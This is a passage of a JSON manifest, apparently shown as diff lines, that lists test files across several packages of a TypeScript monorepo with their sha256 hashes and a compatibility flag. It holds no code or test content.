"packages/core/tests/sync-instruction-files.test.ts":{"sha256":"84c49e9dd8219476649a941f68d936052261816b8c8d88530d57adeb2ff5b77b","compatible":true}, - "packages/core/tests/sync-judge-score.test.ts":{"sha256":"d5f945e11e570930c9febcb3603f47d5255dd59db7410bc3528206097ddca8a2","compatible":true}, - "packages/core/tests/sync-judge.test.ts":{"sha256":"798c1b90959a8900240ca1f1e029d4b3099e7e6d121749ed2fc5b28ab3a01afc","compatible":true}, - "packages/core/tests/sync-merge-depth.test.ts":{"sha256":"19c28ce757edee9e275a7af1f25a02f60d4d10ed59d5d7e2e909e787a03fa10c","compatible":true}, - "packages/core/tests/sync-merge-golden.test.ts":{"sha256":"32ba6174b1120c02a049481892b87faf9a8e5346dffe8187ab86ad29d29c5955","compatible":true}, - "packages/core/tests/sync-merge-hidden.test.ts":{"sha256":"f67a5ec00d07359adab61c4ea151b217ccf19504dbb669f81bf0ac077debf269","compatible":true}, - "packages/core/tests/sync-merge-plan.test.ts":{"sha256":"5b19616d1ecea80ceb243f9e756cec47680acb9bb0c6c010870566aa6eecdf27","compatible":true}, - "packages/core/tests/sync-merge-properties.test.ts":{"sha256":"a182fd54fbbd1d428e9abee5d3104ea8b046279ea4e654877069d81b0ae8cdf0","compatible":true}, - "packages/core/tests/sync-pending-state.test.ts":{"sha256":"c31c802b2cc1497332bf287fb4d6f9ff946d338e02f20073138439a916338084","compatible":true}, - "packages/core/tests/sync-pull-rebase.test.ts":{"sha256":"080c80dcde7e78046c13a99c7458f55a5f17ac1837fa22ff4649ad02aa6f466f","compatible":true}, - "packages/core/tests/sync-run.test.ts":{"sha256":"acff47ab5051f855d46358e5d104485bb248d5250a2bb2b59c63d03a105cc2a3","compatible":true}, - "packages/core/tests/sync-runtime.test.ts":{"sha256":"d6a97074697adbec3b9804dab94c2aafdbeb5955961ebaad99e9cfa00c86c833","compatible":true}, - "packages/core/tests/sync-scenarios.test.ts":{"sha256":"01f36f9fb53c3b3971898a289e01eab2019748476c8f1297ab292811ef84f641","compatible":true}, - "packages/core/tests/sync-stash.test.ts":{"sha256":"650234d7c1f8147f67cf6a9df7183c1d00cee590c06b53369490e774bd984527","compatible":true}, - "packages/core/tests/sync-stats-history.test.ts":{"sha256":"bd52ecaab4a670c63905df2de50d9c687ab7566cbe542e8f592a7d7814ea0f21","compatible":true}, - "packages/core/tests/sync-verb.test.ts":{"sha256":"a6a1864ec067e79a1f575f90b3d221d076dda4da91700de4809eb42c2991105d","compatible":true}, - "packages/core/tests/sync-verbs.test.ts":{"sha256":"03a15d6f18c437d31e3939f26f5a3a378bd4faadcd7a766f6608b43a6f0da8c8","compatible":true}, - "packages/core/tests/tags-rewrite.test.ts":{"sha256":"051027674562f7f1e28467e626c37580bf217c56d2f743113490d1a2f3fcd6c5","compatible":true}, - "packages/core/tests/tags.test.ts":{"sha256":"99639c1c9d8404a6a88008d767799630d964f0abcae0009c55e104dac6ffb4b9","compatible":true}, - "packages/core/tests/taxonomy-own-entries.test.ts":{"sha256":"64ca3b82b2730244840acf21ed661b9e2b82e20d30230e0f258ad63e53a7c9aa","compatible":true}, - "packages/core/tests/taxonomy.test.ts":{"sha256":"93a79511f2d7f61c5a464363c328fe5b7b94da941df1db8c7c786c4628151e2c","compatible":true}, - "packages/core/tests/update-archive-relevance.test.ts":{"sha256":"1f79ff2d6773825680c07aa6b74918693b8529dd9934fdf19b53e593f6daf056","compatible":true}, - "packages/core/tests/validate.test.ts":{"sha256":"ac3c6f2efcd2b8c8e1cf1cf1157668bf320c7b6a2f996b85d521c9a7a6e55073","compatible":true}, - "packages/core/tests/vec-read-path.test.ts":{"sha256":"f53ff7c0855f9e5181bb83fdd34f73a84de98cfa339a771036c61938f3072165","compatible":true}, - "packages/core/tests/vec-support.test.ts":{"sha256":"bb1b38e6332a63c18abe50f4912e3704f23088af32b32915cad482c71a94c32f","compatible":true}, - "packages/core/tests/video-completions.test.ts":{"sha256":"7e827307903db79062d21b3e918c736c3df2ee909a64ad1ba6dc64b34a44c392","compatible":true}, - "packages/core/tests/voice-namespace-exclude.test.ts":{"sha256":"6c6c2fa158d50d1d7eea8ba19a2dab69e2bd3c62652fc4d7708ec649e2baa771","compatible":true}, - "packages/core/tests/wikilinks.test.ts":{"sha256":"114b94d6077f0e7475870d79a75dabc0250e7d57a68ef9a1f759482d6964a8ae","compatible":true}, - "packages/core/tests/worker-recovery.test.ts":{"sha256":"eae416f6da66cfc4881b386d3ed3ba89700856e357d220923e3cbfc0f2be2d13","compatible":true}, - "packages/core/tests/worker-roots.test.ts":{"sha256":"985e72458a6ad445e482c940ec7612afac8324ab9d3e1c474b25eeb40b609240","compatible":true}, - "packages/geo/tests/coastline.test.ts":{"sha256":"2d2ee4c8cac5a8201179c311415347bdd0faadf08d9c131ad781dcefe1c06266","compatible":true}, - "packages/geo/tests/geocoding.test.ts":{"sha256":"02a8bd8dd1f5bde8e7e924686f7b0aa5108624dd6575fed460d7b30746274c85","compatible":true}, - "packages/geo/tests/imported-track.test.ts":{"sha256":"7a7c7f9d9fb2784c6dd0dd5bd0438222122a8610f9e30052b0bb2dc0d1334c49","compatible":true}, - "packages/geo/tests/io.test.ts":{"sha256":"7eb539b65dc293e87d0f0dd668e378371c30e40961ee90cca21afe4c112a2be7","compatible":true}, - "packages/geo/tests/normalized-track.test.ts":{"sha256":"3a44575271cd6865d4919ca41a727bb865ed12dc94bca32fb544adc2f71a9741","compatible":true}, - "packages/geo/tests/poi.test.ts":{"sha256":"7cbcf07d5a231064f0ba3a2ea228b54e9f8324f3bd102ea7d66ac2e3a9539401","compatible":true}, - "packages/geo/tests/routing.test.ts":{"sha256":"e8e3fe180d1e785918dd4d1d4430e50de5a44224e1948bb8f77c0511e2ce606f","compatible":true}, - "packages/geo/tests/spatial.test.ts":{"sha256":"626f2f43e80473545486012c8a9352a08d00967c62591645d617c8a70fb527b4","compatible":true}, - "packages/geo/tests/static-map.test.ts":{"sha256":"68df24deef2545ad0843227d395c8692d0b8bf9088e459f17c3221392d189ef2","compatible":true}, - "packages/geo/tests/track-summary.test.ts":{"sha256":"c0760fd4e1ce74af64ca68c8dac0fbeddaa1111c0666772e07859af68d41ad92","compatible":true}, - "packages/geo/tests/track.test.ts":{"sha256":"8e92ca49bed9b51031e3a50a610a3485f500ac5152d1c249c7b6438658f756c3","compatible":true}, - "packages/module-diagrams/tests/adopted-relay.test.ts":{"sha256":"2f8e244c1dc41c4c9b1893a1a731e222b28f1b552dcccb5279763e378b670abf","compatible":true}, - "packages/module-diagrams/tests/axis.test.ts":{"sha256":"e81c6f941703a3c814f2b36142984ee5b647ab99b8ab751579440d2d4e51b5f5","compatible":true}, - "packages/module-diagrams/tests/callouts.test.ts":{"sha256":"5b522f5d1a5ebd7e12572a3c002a246601957908ed99e9af37beac5be08471b8","compatible":true}, - "packages/module-diagrams/tests/check-cli.test.ts":{"sha256":"d7be2e0f290e5ec66353ce1535e22570a479ee3afffa16cac0f14794960aeb39","compatible":true}, - "packages/module-diagrams/tests/export.test.ts":{"sha256":"7c54e51a2a1d5e5cddac67af246904e6f9d5145f8c5d872ac38a035146acadba","compatible":true}, - "packages/module-diagrams/tests/geometry-cli.test.ts":{"sha256":"8a154c06840a6a312b99c781feea1fdcfc326d548c01918d11669166c0b6f8ac","compatible":true}, - "packages/module-diagrams/tests/geometry.test.ts":{"sha256":"a2b66d9f105cb1f44669b012e39526996612af6a8441421490b13176c343093c","compatible":true}, - "packages/module-diagrams/tests/module.test.ts":{"sha256":"c238e97e0b736dc0f79638f620db7ddde14acf92ce53dff343d73f1e41938bb1","compatible":true}, - "packages/module-diagrams/tests/node-link.test.ts":{"sha256":"b1db47125e83c0580ce398026bf012cbe200020b97bc29c695bddc94d58b8d0a","compatible":true}, - "packages/module-diagrams/tests/positional.test.ts":{"sha256":"72ed65159f57e8a59637e727623774c6b95aead381bf7a12bd14ccce8998aced","compatible":true}, - "packages/module-diagrams/tests/renderer.test.ts":{"sha256":"a3015b1c15a6df30b6d83553cee279040682513bd2cd005ca7b0d12571cb52af","compatible":true}, - "packages/module-diagrams/tests/routing-adaptive.test.ts":{"sha256":"2094b9f5c0204aef4c12a573d98606bb08c1ff6ea7e288625376fbdcf33e1721","compatible":true}, - "packages/module-diagrams/tests/scene-bounds.test.ts":{"sha256":"55374493ad442b9e49ac11673a895fd7055c97da51f66d4cb07b3fc529f6632a","compatible":true}, - "packages/module-diagrams/tests/skill.test.ts":{"sha256":"cbe68d5277a6232b3cd007bfab4557ec2779eec4d9987065d1d62758866ce829","compatible":true}, - "packages/module-diagrams/tests/skin.test.ts":{"sha256":"0841487068c71b8cb98e7c8c71d7b6ccabed56fdb42871648b480b826d1b9e38","compatible":true}, - "packages/module-diagrams/tests/spec.test.ts":{"sha256":"544ddb9f77fee5d4d4055ccfd778a2014c4fa74a778a28ee9dc60f1994267b74","compatible":true}, - "packages/module-diagrams/tests/upstream-report.test.ts":{"sha256":"83c004b67f98f306d6aa9b98d4a8e4463480d39721c66729672733ef710357a9","compatible":true}, - "packages/module-finance/tests/finance.test.ts":{"sha256":"122bb14a7a62e7f9377dfd821c9fdde027fa41346d7cd616977521c3a6c91d78","compatible":true}, - "packages/module-images/tests/cli.test.ts":{"sha256":"e97119f05697d4b66d11da1a12fcafeb673a4749868202e2b1dd76d91426894c","compatible":true}, - "packages/module-images/tests/live.test.ts":{"sha256":"31ae39a16a29df92e84e1df1922e6c1585037af8a4623659ec24b8f45ebeff6a","compatible":true}, - "packages/module-images/tests/module.test.ts":{"sha256":"119b1e72def4ae4c267b97c4e34364d29249f55785bfefd2d567ae5cfaef3399","compatible":true}, - "packages/module-images/tests/providers.test.ts":{"sha256":"82d8486351ac815d5ae99328dc05a2c8e8e544dfc8094b253bdcfeed0e6c05d6","compatible":true}, - "packages/module-images/tests/routing.test.ts":{"sha256":"5ecc9724b63376c097e03c3524e435ed57b72879064952b076b276599278ea24","compatible":true}, - "packages/module-images/tests/scratch.test.ts":{"sha256":"373b188864263ebc099fe2243d5b2864528a1064b4d1115e86a8b62a87040e2d","compatible":true}, - "packages/module-images/tests/shape.test.ts":{"sha256":"59ca1eec6eb0a294258cad2b826279f57e2c698f773f09c4a7f4a39a33dd9078","compatible":true}, - "packages/module-jobs/tests/board-fixtures.test.ts":{"sha256":"6297c40f8a25e58fb2ed631776b08760f469dad1474670172d0a3ef90336c14b","compatible":true}, - "packages/module-jobs/tests/board-selection-runtime.test.ts":{"sha256":"9faafa82148b2490d60cdd2d5402a311da076deea0188568c115d7f786ea4fd7","compatible":true}, - "packages/module-jobs/tests/browser-absence.test.ts":{"sha256":"44e3964691efabc04c472dad79dd3b5176264f53ce9c848f44287cff889510b7","compatible":true}, - "packages/module-jobs/tests/browser-politeness.test.ts":{"sha256":"5d65dcaa4c85e63de0d9adc2ecaec1e64ce0c90eaae798657300ddfa9dfbf387","compatible":true}, - "packages/module-jobs/tests/default-boards.test.ts":{"sha256":"c3ffbbdf606311b01f9575b5f54e66de43d2c7dc889cf3edf9ff26f1a9c131aa","compatible":true}, - "packages/module-jobs/tests/enrichment.test.ts":{"sha256":"96b488ceae93ab595cb6c050a9664551e525ff168f53678b7f4264d3285aae04","compatible":true}, - "packages/module-jobs/tests/fixture-records.test.ts":{"sha256":"b68fbd77a0c7277f2efb762107c2f01b35b6e7ae0dd6d46602127539cad17603","compatible":true}, - "packages/module-jobs/tests/jobs-dedup.test.ts":{"sha256":"ec2a5b6bead5159fe2f0c0c7aaf59394c679b6a87cdd7c5aee6e89cb3524dde7","compatible":true}, - "packages/module-jobs/tests/jobs-fts.test.ts":{"sha256":"e8698545b32ecb556d416090042b8993958afb720e91539b0c6f03ba4738bd16","compatible":true}, - "packages/module-jobs/tests/jobs-ingest-refresh.test.ts":{"sha256":"6a3786683451bec805630555b230094afde41065636d51d5a6ddbadae43476ee","compatible":true}, - "packages/module-jobs/tests/jobs-review-mcp.test.ts":{"sha256":"ca877bcc4c93d1e718587b802722384ba6ad841dee9064971d084e08649bb6b9","compatible":true}, - "packages/module-jobs/tests/jobs-salary.test.ts":{"sha256":"8e2cb4e7852047037773c9b39f4c147e9cd67dea12ad4210f6faa4443e76a04c","compatible":true}, - "packages/module-jobs/tests/jobs-score.test.ts":{"sha256":"0a2180762835396c0acd5615e51044f107e40d1fa2b6fc8533270d11374822df","compatible":true}, - "packages/module-jobs/tests/jobs-search-cli.test.ts":{"sha256":"c0602552120223d56bfedfb6e1d79d8d1cff1704f65d2f87660b27235efed351","compatible":true}, - "packages/module-jobs/tests/jsonld-mapper.test.ts":{"sha256":"981b852e240618225d7f98fc11b73736929379e217847821d77e65b8f64a18ec","compatible":true}, - "packages/module-jobs/tests/module.test.ts":{"sha256":"de40bc23cddad7200c4f97b81eabb218edb0684b7f20aa310cc4f9e478c92e08","compatible":true}, - "packages/module-jobs/tests/parse-reporting.test.ts":{"sha256":"dab074aedc2d0049232489c83eb93de71df3cb04921e279996b4fdd58aae5f2f","compatible":true}, - "packages/module-jobs/tests/pipeline.test.ts":{"sha256":"be7ee49b3c888e2573e402bc946a252f5a61bc09130a0e609c41ab8b93c02765","compatible":true}, - "packages/module-jobs/tests/scheduled-scrape.test.ts":{"sha256":"aec14fd5ebc8bca8d66ab0912bc66011e0fd8102e43c21cdc16f599d5f113e07","compatible":true}, - "packages/module-jobs/tests/scrape-report-integration.test.ts":{"sha256":"1a6c6b7063fdbfde7d59b4c553cba3e94372467c710ed2995bdf3f2f2a782241","compatible":true}, - "packages/module-jobs/tests/settings.test.ts":{"sha256":"214b144dc80cb860f2d6d1958566550629a31a2041225858ab6824e6cac2398b","compatible":true}, - "packages/module-jobs/tests/shared-adapter.test.ts":{"sha256":"53fb0e7865e253dc0b04449cc2a673e77249f69ddb7bf01bab41271cbc94d212","compatible":true}, - "packages/module-jobs/tests/skill-paths.test.ts":{"sha256":"1d2a675a0391d932a4f4cc824f2628cf1eedebc0a59988a759a785bbcad46e45","compatible":true}, - "packages/module-jobs/tests/source-selection.test.ts":{"sha256":"02b74583b450c546b5852b0b9b6ad31244eaca02db34f6389ee0050887b92e44","compatible":true}, - "packages/module-jobs/tests/worker-scoring.test.ts":{"sha256":"b7f1c5636e7724d5ce714c799257057e4ea5dbf28a90adaeaf053632ac473971","compatible":true}, - "packages/module-speaking/tests/module.test.ts":{"sha256":"df4e4f88ec134679c7da772c2acd1eb68e96d528238deef6a729db666b35b537","compatible":true}, - "packages/module-travel/tests/content.test.ts":{"sha256":"2227455451c2c252da69b81d88cade1f96206126350e03e9f178d3292d0776a1","compatible":true}, - "packages/module-travel/tests/data-only-frontmatter.test.ts":{"sha256":"9ff61bf41f31f3368a26edbd840545951de623bebd3e56b332fd3a29116e6300","compatible":true}, - "packages/module-travel/tests/foundation.test.ts":{"sha256":"1db59a9daffd1c31e9f60e4647cd8670823a1673f56b4be8f606a9e5db0cbf18","compatible":true}, - "packages/module-travel/tests/output-naming.test.ts":{"sha256":"9b0fc527556eea2fc4df325b67fe487e6c7c576ece4930d76051d3e2644474e7","compatible":true}, - "packages/module-travel/tests/photo.test.ts":{"sha256":"7b8289c61ecc14a5d7b50d2a9efbb41768727fda4d61dcf8aa8dcd39e1c35851","compatible":true}, - "packages/module-travel/tests/routes-runtime.test.ts":{"sha256":"16ceacc49f7ca8a84288405d760377ffe32a38cffa981a7dbf508c1f8fbc686f","compatible":true}, - "packages/module-travel/tests/routes.test.ts":{"sha256":"1b97313fbf5713b82a2cfecdc724f930cad2e05b4d7ed541650f009ad63ac89b","compatible":true}, - "packages/module-travel/tests/runtime.test.ts":{"sha256":"345a996107beafc41070d6f095199032201df7b666ef50b026689b0b9c263c13","compatible":true}, - "packages/module-travel/tests/sync.test.ts":{"sha256":"eb251eaddbdf229d86b8a91aa6f688edf338fb42af0229dbd410f084334a526b","compatible":true}, - "packages/module-video/tests/cli.test.ts":{"sha256":"8b1d4e18957f96de665c900509b13a2537477d7a09f7a2a350e6dc484339574a","compatible":true}, - "packages/module-video/tests/module.test.ts":{"sha256":"3e32d15ec4cc0afd0c2a8f6d0bfc190aa343534a6ceb932fb6cbb40801cbdccd","compatible":true}, - "packages/render-template/tests/components.test.ts":{"sha256":"314ee756191451928a5f615696bc0176bb8b920dcccec2348183dc816348afb2","compatible":true}, - "packages/render-template/tests/kinds.test.ts":{"sha256":"b41ef6ac8826cc60b322b25ce7107e23abc7806c6acdfaf89d696b6040f44023","compatible":true}, - "packages/render-template/tests/link-policy.test.ts":{"sha256":"f344d340396005d5345a08e79c3443c3a443514b1f2f4da9fdfdf6d1a3ec5623","compatible":true}, - "packages/render-template/tests/lint.test.ts":{"sha256":"80a1bf1c317ec501766917c6334fbcad4b2940cb354def3ff42b9a11a473dbff","compatible":true}, - "packages/render-template/tests/static.test.ts":{"sha256":"6b7f5d10fbf7e9199f925ac7b3a7c5fea92299127e390485f114890533348ca8","compatible":true}, - "packages/render-template/tests/template.test.ts":{"sha256":"2340be0f713002e840d28842696d34ad8edc4a5bfe1cad09fd29e6b4938aeceb","compatible":true}, - "packages/scrape/tests/adapter.test.ts":{"sha256":"0ecf31c2d791c32700f0906c4fd9639676b6c6e0723870d1a620dc850833e63d","compatible":true}, - "packages/scrape/tests/address-policy.test.ts":{"sha256":"d5db33e445dbf1517c7b48df746b40caa958f01ad96cf6f20c85d03b0204efc7","compatible":true}, - "packages/scrape/tests/browser-politeness.test.ts":{"sha256":"4fa40e1de3599c3aaa072e0dc631e63e33aff82be9a5053f614ef8211889195f","compatible":true}, - "packages/scrape/tests/browser-session.test.ts":{"sha256":"de679473710a76ff0910e7ff3cb3aabe9fefe2b0010bcf9e4e88a02879929f3a","compatible":true}, - "packages/scrape/tests/client.test.ts":{"sha256":"9e4956e95704b9536755fa2f409fbfd4051c9320de46c992c7a95f3d9d9213d4","compatible":true}, - "packages/scrape/tests/env.test.ts":{"sha256":"381d5cd67add0c87126faa1a529a78fac8dad51782127ecadb58ebf216177bf3","compatible":true}, - "packages/scrape/tests/jsonld.test.ts":{"sha256":"17f5a943894fcbf042628703eb13de20b1fab16a8cd7ccc65cd7bba9e5f17f41","compatible":true}, - "packages/scrape/tests/politeness.test.ts":{"sha256":"f893a3a5e98455b3f911ed1616f23d2a36183bb70ce70fda8fe64029dc0840ff","compatible":true}, - "packages/ui-backend-claude/tests/activity-tool.test.ts":{"sha256":"c6accfbedd64bd2537f40671bb59e24082ef6b0dcd621f2cbe2ed20f0fef84ac","compatible":true}, - "packages/ui-backend-claude/tests/allowlist-enforcement.test.ts":{"sha256":"48404558273c414a68b82b2b2b184d9e63a84b54293db74840dc5e7c4a76ccbf","compatible":true}, - "packages/ui-backend-claude/tests/api-failure.test.ts":{"sha256":"a9caab8ce67545f6da3e227ff364d43c2bb70af28375dd1c41b52cc1c0dee67c","compatible":true}, - "packages/ui-backend-claude/tests/ask-tool-request-id.test.ts":{"sha256":"dc25158c096600ce2e883d856cf1db074208118e9664c7be23f9e1501b970cc5","compatible":true}, - "packages/ui-backend-claude/tests/autonomous-envelope.test.ts":{"sha256":"29472f31ef40c4e0aeea47b92cea4ddb34894e9a448a0bc338b792485059d5f1","compatible":true}, - "packages/ui-backend-claude/tests/autonomous-prompt.test.ts":{"sha256":"fd8e5964a00290f8ef7a9291225403e5e905e0b32b643720c63c979203a82258","compatible":true}, - "packages/ui-backend-claude/tests/autonomous-yield.test.ts":{"sha256":"684e1e2d5d9e90f8598babd73f3aad9e80c1ef7c64248263cf4919b1dfd9ae21","compatible":true}, - "packages/ui-backend-claude/tests/backend-contract.test.ts":{"sha256":"bb05aadb2acfa24ac171203e39f9d6b7ed0eb2ed422ee4cbdc33f74ada58266d","compatible":true}, - "packages/ui-backend-claude/tests/backend.test.ts":{"sha256":"24f95fd17689fa627559ce909e2723a6bac5deb77ffc6f36be4e883e1b890ee1","compatible":true}, - "packages/ui-backend-claude/tests/background-shell-runtime.test.ts":{"sha256":"8ea77cea94339a2aa6894929d9a54cebe4cbc238f3023fea29256f863e138e9e","compatible":true}, - "packages/ui-backend-claude/tests/cache-fingerprint.test.ts":{"sha256":"2381e29bc54e26110a24e7a2b5b7e309849f128ed3cc00503e7ae51af112fa63","compatible":true}, - "packages/ui-backend-claude/tests/characterization-history.test.ts":{"sha256":"a620b341ff167b1b2a426da394c3385b2c12f7959bc2a455d44f17503f65de8d","compatible":true}, - "packages/ui-backend-claude/tests/characterization-permissions.test.ts":{"sha256":"af947dd465723e6117a7e51c8681e9f900f0d85f51f855d80551e8ccfe015226","compatible":true}, - "packages/ui-backend-claude/tests/characterization-stream-usage.test.ts":{"sha256":"3c83bd5d9828194e36d5343b209086ee4b48ec9282820d0e64c0a736e264d174","compatible":true}, - "packages/ui-backend-claude/tests/claude-code-path.test.ts":{"sha256":"c8349c95a14186815d2d6765e7c3ddac3ac4f64a67bf9b370f2f0d676ac43258","compatible":true}, - "packages/ui-backend-claude/tests/cleanup-reconciler.test.ts":{"sha256":"e8b56201057bb8d03f04350eea69d9e7e060d80067d0d432713c6e69b60b65d2","compatible":true}, - "packages/ui-backend-claude/tests/completed-response-usage.test.ts":{"sha256":"c7e397e7bae9bd9dfb11697bf6a5fc74bf92a9d212dad0b38480a20fed5922bf","compatible":true}, - "packages/ui-backend-claude/tests/compute-tools.test.ts":{"sha256":"15a3c9411951e6f0a824cb1fbbfe50c4a0a141835189b0e27e33be71696bcebd","compatible":true}, - "packages/ui-backend-claude/tests/confirm-archive.test.ts":{"sha256":"22471d1acaeb436f058dde3cddf82504c200588e421186da5cd1bdc059a8be02","compatible":true}, - "packages/ui-backend-claude/tests/confirm-bash.test.ts":{"sha256":"2bad308cd54760d499d981533a5a089ad2948accea7c0c9642b2e57267f470ab","compatible":true}, - "packages/ui-backend-claude/tests/deferred-worker-spawn.test.ts":{"sha256":"2244158dac5b891846a5ef16fca981bcbd985698ee61e10a72c96492d25b71f9","compatible":true}, - "packages/ui-backend-claude/tests/edited-approval.test.ts":{"sha256":"1b2a5bfa3359df32b61b7d9a8a5e13090efea3ee784094a6377c9392433abc09","compatible":true}, - "packages/ui-backend-claude/tests/effort.test.ts":{"sha256":"5162a40a3ed8e43735e97f9903c1e4a5be10e6b94a36dcfe1779b2f616e849fe","compatible":true}, - "packages/ui-backend-claude/tests/env.test.ts":{"sha256":"d5cde898dad3d44f9bb0853d178c0fbff07611caada49934acbec68a12d83e05","compatible":true}, - "packages/ui-backend-claude/tests/failed-launch-cleanup.test.ts":{"sha256":"607ddbb62ce12ce6cd225db607b53577847d4f724e49a8eed1f129574fb6ca2b","compatible":false}, - "packages/ui-backend-claude/tests/fixtures/host-storage-isolation.test.ts":{"sha256":"04948031c770c06c30c2739f4d5fe7e260c7f58eedb29db6ab19d7122a88098a","compatible":true}, - "packages/ui-backend-claude/tests/follow-up-delivery.test.ts":{"sha256":"b5575c9a53c3dd25fed4cca225b3a08c725a8a8923bcc677fd3c1afcbd3a3889","compatible":true}, - "packages/ui-backend-claude/tests/follow-up.test.ts":{"sha256":"2b6393e55178be8c0c05f29b099439b2a97c191f101cfd39414628598f98caf3","compatible":true}, - "packages/ui-backend-claude/tests/github-write-availability.test.ts":{"sha256":"64d1cbf96df3efec8bdc15909dcf76bbe8d2e0ebc00541e1058797c58f01cacd","compatible":true}, - "packages/ui-backend-claude/tests/history-api-failure.test.ts":{"sha256":"36aa02054f35ac113e2238c7e60570386b8c394afe02b554830a73467b9c3616","compatible":true}, - "packages/ui-backend-claude/tests/history-task-notifications.test.ts":{"sha256":"65d3f4d2a1c979afd9d47598a2f7a9eceaf5b925be623ead6aba6080e52e5ad9","compatible":true}, - "packages/ui-backend-claude/tests/history.test.ts":{"sha256":"bb996515bd7d9d609287ce7cef9215bfa7a8b211664823d80746fee8f96d5875","compatible":true}, - "packages/ui-backend-claude/tests/host-exec.test.ts":{"sha256":"ec93862d3f5cf7888191e9ced9b87376a6eb7544e89836876de9c9282c356369","compatible":true}, - "packages/ui-backend-claude/tests/host-oauth.test.ts":{"sha256":"0524ae96cb3944260ad6c10fc0d4d8718d823e781e75f46e127d1be4460817ed","compatible":true}, - "packages/ui-backend-claude/tests/host-relay-native.test.ts":{"sha256":"579e3d6a9f355fdeb6627f23a5530052bdd3610b7084c9b9cec5a5bc35692d3e","compatible":true}, - "packages/ui-backend-claude/tests/host-storage-isolation.test.ts":{"sha256":"af97a37aedcf2281955a1143c7641d2056512c75c884053c333991fa510279c2","compatible":true}, - "packages/ui-backend-claude/tests/interactive-git-prompt.test.ts":{"sha256":"4e4a24135d2818bbb02896274bc2e74670e873568528a2a51db8173e16310951","compatible":true}, - "packages/ui-backend-claude/tests/interactive-git-settings.test.ts":{"sha256":"d8cddfe1a8a04b1aa975f0b95f3a0392c96d56e381ddec24b8c3b332ee408484","compatible":true}, - "packages/ui-backend-claude/tests/loaded-sdk.test.ts":{"sha256":"2726bca6e31cf0891bab57c32a7912c22bc2522e275485333b983b129b6349a5","compatible":true}, - "packages/ui-backend-claude/tests/maintenance-module-plumbing.test.ts":{"sha256":"179a4eb3063017c72d91849ed87de3914dac76702bd2aedbfd14d1124d58aa22","compatible":true}, - "packages/ui-backend-claude/tests/markup-tool.test.ts":{"sha256":"d7b8934f7fe081677c0928758520138c24116a854eee8727331b2ce15f010e84","compatible":true}, - "packages/ui-backend-claude/tests/measured-runtime.test.ts":{"sha256":"eb8f45448391a7ec13dbfcbb0a4b4818ae47c32c84e138a5027d628ecd36bf57","compatible":true}, - "packages/ui-backend-claude/tests/model-discovery.test.ts":{"sha256":"28db89ac8a6a6bc2501682fc1ce0bdf1b96852be2ff133ee19b610fbd964315f","compatible":true}, - "packages/ui-backend-claude/tests/module-tool-lock.test.ts":{"sha256":"933da9bf90603f611955258cfd5cc9ea3819f85f31a56ca0b4766e32484fba8f","compatible":true}, - "packages/ui-backend-claude/tests/module.test.ts":{"sha256":"835a908d449fa54d99640de5ca41be86002695d03665f023434090b4516889cd","compatible":true}, - "packages/ui-backend-claude/tests/native-history-removal.test.ts":{"sha256":"233d048c09533c60379f6d509bd3f042500a3ba9e7d3add2821d375473546c51","compatible":true}, - "packages/ui-backend-claude/tests/native-hosted-permission.test.ts":{"sha256":"c264719c0bac674a18448eeddf952e4cee7a6cca81e5965ff2dc8b186e1fd2ed","compatible":true}, - "packages/ui-backend-claude/tests/native-hosted-runtime.test.ts":{"sha256":"6d75cf05d482cedabe53f3e46b5667e0765763db19eed604534806f20aa57140","compatible":true}, - "packages/ui-backend-claude/tests/native-observation-retention.test.ts":{"sha256":"241cb482b25c97b8c8e03fdfeab93406438ae80ed881021ad4a859e270a22aa6","compatible":true}, - "packages/ui-backend-claude/tests/native-observation-settlement.test.ts":{"sha256":"c9d7cd7ef01c7ab31cda9a2bde288b115a66643d202c25027fc58a098bb9f8f3","compatible":true}, - "packages/ui-backend-claude/tests/native-restart-versions.test.ts":{"sha256":"4451bdd140720157314c05f5ed856cbac8a3f48227a52225ab3c05d643b582e4","compatible":true}, - "packages/ui-backend-claude/tests/native-route-qualification.test.ts":{"sha256":"7f29ec265da6efdc26265c4a37005f3b27c5878181c9aca1ba84f1c4aac94660","compatible":true}, - "packages/ui-backend-claude/tests/native-stale-write.test.ts":{"sha256":"eca0e5722d624cb899d42602441efac2283648276741c13fc5b06a242149ce5d","compatible":true}, - "packages/ui-backend-claude/tests/no-grant-surface.test.ts":{"sha256":"9321934ab568c978e32337e32cb331c30110b6e58e5afcabb73cf7444ed704fb","compatible":true}, - "packages/ui-backend-claude/tests/ordinary-host-relay.test.ts":{"sha256":"02e4b794a44c9b031965989f2c8c0c5cc39d24420b302c6cd3c33c3b9e691781","compatible":true}, - "packages/ui-backend-claude/tests/output-staging-refusal.test.ts":{"sha256":"ed4e4226dab8e92fd113b0eda20e60cfc24a14fe10300cebca264cfd2c56a1b3","compatible":true}, - "packages/ui-backend-claude/tests/outward-actions.test.ts":{"sha256":"31ee4ad8b56ee57f55af8d0139f6123355287f68c0106390c69df576e077ebd4","compatible":true}, - "packages/ui-backend-claude/tests/permission-wiring-units.test.ts":{"sha256":"03a4d8041a8f176d264602f9dcb6e9d7c187a746a77105d89e47c0e2a2095f79","compatible":true}, - "packages/ui-backend-claude/tests/policy-commands.test.ts":{"sha256":"69d78ad11e6405b8ddc42e7866ecaa6303ada14422a9dad949c365512dc0e954","compatible":true}, - "packages/ui-backend-claude/tests/profiles.test.ts":{"sha256":"c911b1f2260623f182e5838cef092c02fcc57cc6023493bbf13055f6423bd43a","compatible":true}, - "packages/ui-backend-claude/tests/provider-denied-memory.test.ts":{"sha256":"579543bab4064a106f43644fb14fadad707839fc33c2b768dab4788202d706a3","compatible":true}, - "packages/ui-backend-claude/tests/provider-history-apify.test.ts":{"sha256":"05523e725f802c0691386439ee2d50d7d009d0a7fdf06ad382997de34090de72","compatible":true}, - "packages/ui-backend-claude/tests/provider-history.test.ts":{"sha256":"89aaf8e5af05de06be812ee4ac4c3afad8627dc966d5e337f6f7581754490f59","compatible":true}, - "packages/ui-backend-claude/tests/provider-request-shape.test.ts":{"sha256":"3684525b83a1aa6f61adc489de927f7fdabb07d67b699b69b30962d9ebbc9297","compatible":true}, - "packages/ui-backend-claude/tests/provider-tool-prefix.test.ts":{"sha256":"0392fe31e15089b2305d2de668d8d3b48d08d5e4c149fea47a538cead7a7191b","compatible":true}, - "packages/ui-backend-claude/tests/read-attachment.test.ts":{"sha256":"7686572049e51aa3efd345ee4b0491a4c46b7eac5c72fbd810e43211aa87bfa9","compatible":true}, - "packages/ui-backend-claude/tests/relayed-runtime-traffic.test.ts":{"sha256":"933f71f46ba2e523dac6ad38f1933a018d0408027b9fb259ade282d5551d07bc","compatible":true}, - 